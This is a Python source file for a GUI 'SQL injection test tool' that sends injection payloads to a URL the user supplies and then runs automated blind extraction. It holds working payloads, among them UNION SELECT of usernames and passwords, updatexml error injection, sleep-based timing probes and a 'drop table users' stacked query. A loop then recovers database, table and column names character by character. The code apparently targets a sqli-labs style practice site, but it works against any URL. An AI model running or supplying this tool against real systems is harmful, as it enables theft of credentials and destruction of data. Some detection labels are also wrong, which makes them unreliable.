import _thread
import threading
import time
import sys
import random

import requests
import webview


class Api:
    def __init__(self):
        self.methodType = None
        self.url = None
        self.checkHeadText = None
        self.checkHeadType = None
        self.checkText = None
        self.checkType = None
        self.injectType = None

    def log(self, res):
        webview.windows[0].evaluate_js("setLog('" + str(res) + "')")

    def hanlderClick(self, url, injectType, checkType, checkText, checkHeadType, checkHeadText, methodType):
        self.url = url
        self.injectType = injectType
        self.checkType = checkType
        self.checkText = checkText
        self.checkHeadType = checkHeadType
        self.checkHeadText = checkHeadText
        self.methodType = methodType

        if self.injectType:
            # 联合
            if self.injectType == "1":
                self.detect_union_based_injection(self.url)
                pass
            # 布尔
            if self.injectType == "2":
                self.detect_boolean_injection(self.url)
                pass
            # 基于错误
            if self.injectType == "3":
                self.detect_error_based_injection(self.url)
                pass
            # 延时注入
            if self.injectType == "4":
                self.detect_time_based_injection(self.url)
                pass
        else:
            self.log("啥也没选")
        pass

    def send_request(self, url, payload):
        try:
            response = requests.get(url + payload, timeout=3)

            return response.text
        except:
            pass

    # 检测基于错误的SQL注入
    def detect_error_based_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("error")
        response = requests.get(url + payload, timeout=3, headers=headers)

        if "MySQL" in response.text:
            self.log("[+] Error-based SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测盲注SQL注入
    def detect_blind_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        for i in range(1, 10):
            payload = self.generate_payload("blind", i)
            start_time = time.time()
            response = requests.get(url + payload, timeout=3, headers=headers)

            response_text = response.text
            end_time = time.time()
            if end_time - start_time > i and response_text is not None:
                self.log("[+] Blind SQL injection vulnerability detected: " + url)
                # 爆破库名
                self.log(">>>>>正在准备暴力猜解:" + url)

                _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))
                break

    # 检测堆叠查询SQL注入
    def detect_stacked_query_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("stacked_query")
        response = requests.get(url + payload, timeout=3, headers=headers)

        if "users" in response.text:
            self.log("[+] Stacked query SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测联合查询SQL注入
    def detect_union_based_injection(self, url):

        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("union_based")
        response = requests.get(url + payload, timeout=3, headers=headers)
        self.log(url + payload)

        if "1" in response.text and "2" in response.text and "3" in response.text:
            self.log("[+] Union-based SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测时间延迟SQL注入
    def detect_time_based_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        for i in range(1, 10):
            payload = self.generate_payload("time_based", i)
            start_time = time.time()
            response = requests.get(url + payload, timeout=3, headers=headers)

            end_time = time.time()
            if end_time - start_time > i and response.text is not None:
                self.log("[+] Time-based SQL injection vulnerability detected: " + url)
                # 爆破库名
                self.log(">>>>>正在准备暴力猜解:" + url)

                _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))
                break

    # 检测反射型SQL注入
    def detect_reflected_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("reflected")
        response = requests.get(url + payload, timeout=3, headers=headers)

        if "<script>alert(1)</script>" in response.text:
            self.log("[+] Reflected SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测存储型SQL注入
    def detect_stored_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
        payload = self.generate_payload("stored")
        response = requests.get(url + payload, timeout=3, headers=headers)

        if "users" not in response.text:
            self.log("[+] Stored SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 检测布尔卡类型注入SQL注入
    def detect_boolean_injection(self, url):
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

        payload = self.generate_payload("boolean")
        response = requests.get(url + payload, timeout=3, headers=headers)
        if "error in your SQL syntax" not in response.text:
            self.log("[+] Stored SQL injection vulnerability detected: " + url)
            # 爆破库名
            self.log(">>>>>正在准备暴力猜解:" + url)

            _thread.start_new_thread(self.guessDataBase, (url + "?id=1",))

    # 构造常见的payload
    def generate_payload(self, injection_type, delay=None):
        # 如果选择手动注入那么写入自定义注入参数
        if self.checkType == "manual":
            return self.checkText
        if injection_type == "error":
            return "?id=1'+and+(updatexml(1,concat(0x7e,(select user()),0x7e),1))--+"
        elif injection_type == "blind":
            return "?id=1'+and+sleep(" + str(delay) + ")--+"
        elif injection_type == "stacked_query":
            return "?id=1'; SELECT * FROM users; --"
        elif injection_type == "union_based":
            return "?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+"
        elif injection_type == "time_based":
            return "?id=1' and (select sleep(" + str(delay) + "))--+"
        elif injection_type == "reflected":
            return "?id=1'<script>alert(1)</script>"
        elif injection_type == "stored":
            return "?id=1' or 1=1; drop table users; --"
        elif injection_type == 'boolean':
            return "?id=1'+and+substr((select user()),1,1)=+'r'--+"

    def guessDataBase(self, url):
        url = url + "'+"

        db_length = 1
        db_url = ''
        db_name = ''
        db_ascii = 1
        db_place = 1
        tb_sum = 1
        tb_url = ''
        tb_num1 = 0
        tb_lname = 0
        tb_array = []
        tb_nameasc = 0
        tb_namenum = 0
        tb_namepla = 0
        tb_nameurl = ''
        tb_name = ''
        tb_arrayname = []
        # 猜解数据库名长度
        self.log('开始猜解数据库名长度')

        for db_length in range(1, 100):
            db_url = f"{url}and {db_length}=(select length(database()))--+"
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
            r = requests.get(db_url, headers=headers)
            self.log("猜解内容" + r.text)
            # self.webview.LoadURL(db_url)
            if 'Your Login name' in r.text:
                self.log('[!] ' + db_url)
                self.log('猜解结束')
                break
            else:
                self.log('[x] ' + db_url)
        self.log('数据库名长度：%d' % (db_length))
        pass
        # 猜解数据库名
        # 猜解数据库名ascii(substr(database(),x,1)
        self.log('----------------------------------------------')
        self.log('\n\n正在猜解数据库名.......')
        db_urlname = 'and %d=ascii(substr(database(),%d,1))--+' % (db_ascii, db_place)
        for db_place in range(1, db_length + 1):
            for db_ascii in range(0, 127):
                db_urlname = url + 'and %d=ascii(substr(database(),%d,1))--+' % (db_ascii, db_place)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                r = requests.get(db_urlname, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    db_name = db_name + chr(db_ascii)
                    self.log('[!] ' + db_name)
                    break
                else:
                    continue
        self.log('end.......')
        self.log('数据库名：' + db_name)
        # 猜解表数 select count(table_name)  from information_schema.tables where table_schema='security';
        self.log('\n\n开始猜解表数.......')
        for tb_sum in range(1, 10):
            tb_url = url + '+and %d=(select count(table_name)  from information_schema.tables where table_schema=database())--+' % (
                tb_sum)
            headers = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
            r = requests.get(tb_url, headers=headers)
            # self.webview.SetPage(r.text, "")
            if 'Your Login name' in r.text:
                self.log('[!] ' + tb_url)
                break
            else:
                self.log('[x] ' + tb_url)
        self.log('猜解表数结束')
        self.log('表数：%d' % (tb_sum))

        self.log('\n\n开始猜解每一个表名长度')
        for tb_num1 in range(0, tb_sum + 1):
            for tb_lname in range(1, 20):
                tb_lengthurl = url + '+and %d=length((select table_name from information_schema.tables where table_schema=database() limit %d,1 ))--+' % (
                    tb_lname, tb_num1)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                r = requests.get(tb_lengthurl, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    tb_array.append(tb_lname)
                    self.log('[!] %d' % (tb_lname) + '>>%s' % (tb_lengthurl))
                    tb_lname = 0
                    break
                else:
                    continue
        for i in range(0, len(tb_array)):
            self.log('猜解结束第%d个表名长度分别为：%d' % (i + 1, tb_array[i]))
        self.log('猜解各个表名长度结束')
        self.log('\n\n')
        # 猜解表名 select substr((select table_name from information_schema.tables where table_schema=database() limit 0,1  ),1,1);
        self.log('猜解各个表名开始...........')
        for tb_namenum in range(0, tb_sum):
            for tb_namepla in range(1, tb_array[tb_namenum] + 1):
                for tb_nameasc in range(0, 128):
                    tb_nameurl = url + 'and %d=ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1  ),%d,1))--+' % (
                        tb_nameasc, tb_namenum, tb_namepla)
                    headers = {
                        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                    r = requests.get(tb_nameurl, headers=headers)
                    # self.webview.SetPage(r.text, "")
                    if 'Your Login name' in r.text:
                        tb_name = tb_name + chr(tb_nameasc)
                        self.log('[!] ' + tb_name)
                        break
                    else:
                        continue
            tb_arrayname.append(tb_name)
            tb_name = ''
            self.log('\n')
        for i in range(0, len(tb_arrayname)):
            self.log('猜解结束第%d个表名为：%s' % (i + 1, tb_arrayname[i]))
        # 猜解列个数
        cl_osum = []
        self.log('\n\n开始猜解列个数...........')
        for i in range(tb_sum):
            for j in range(1, 10):
                cl_sumurl = url + 'and %d=(select count(column_name) from information_schema.columns where table_name = "%s")--+' % (
                    j, tb_arrayname[i])
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

                r = requests.get(cl_sumurl, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    cl_osum.append(j)
                    self.log('[!] ' + cl_sumurl + '>>匹配成功')
                    break
                else:
                    continue
        for i in range(0, tb_sum):
            self.log(tb_arrayname[i] + '列数：%d' % (cl_osum[i]))
        self.log('猜解列个数结束')
        # 猜解每个表的列数
        cl_lensum = []
        cl_lennam = []
        # 计算admin列长度即可
        for j in range(0, 4):
            for l in range(1, 20):
                cl_len = url + 'and %d=length((select column_name from information_schema.columns where table_name="users" limit %d,1 ))--+' % (
                    l, j)
                headers = {
                    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}

                r = requests.get(cl_len, headers=headers)
                # self.webview.SetPage(r.text, "")
                if 'Your Login name' in r.text:
                    cl_lennam.append(l)
                    self.log('users>>第%d列长度为：%d' % (j + 1, l))
                    break
                else:
                    continue
        self.log('\n')
        self.log(cl_lennam)
        # 猜解列名
        cl_name = ''
        cl_namearr = []
        for j in range(0, 3):
            for i in range(cl_lennam[j] + 1):
                for cl_ascii in range(0, 128):
                    cl_admin = url + 'and %d=ascii(substr((select column_name from information_schema.columns where table_name="users" limit %d,1),%d,1))--+' % (
                        cl_ascii, j, i)
                    headers = {
                        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
                    r = requests.get(cl_admin, headers=headers)
                    # self.webview.SetPage(r.text, "")
                    if 'Your Login name' in r.text:
                        cl_name = cl_name + chr(cl_ascii)
                        self.log('[~]' + cl_name)
                        break
                    else:
                        continue
            cl_name = cl_name.strip('\x00')
            cl_namearr.append(cl_name)
            cl_name = ''
            self.log('\n')
            self.log("本次注入检测完毕")


if __name__ == "__main__":
    api = Api()
    window = webview.create_window('SQL注入测试工具', 'index.html', js_api=api)
    webview.start(http_server=True, debug=False)
    # webview.windows[0].evaluate_js("callFromPython()")
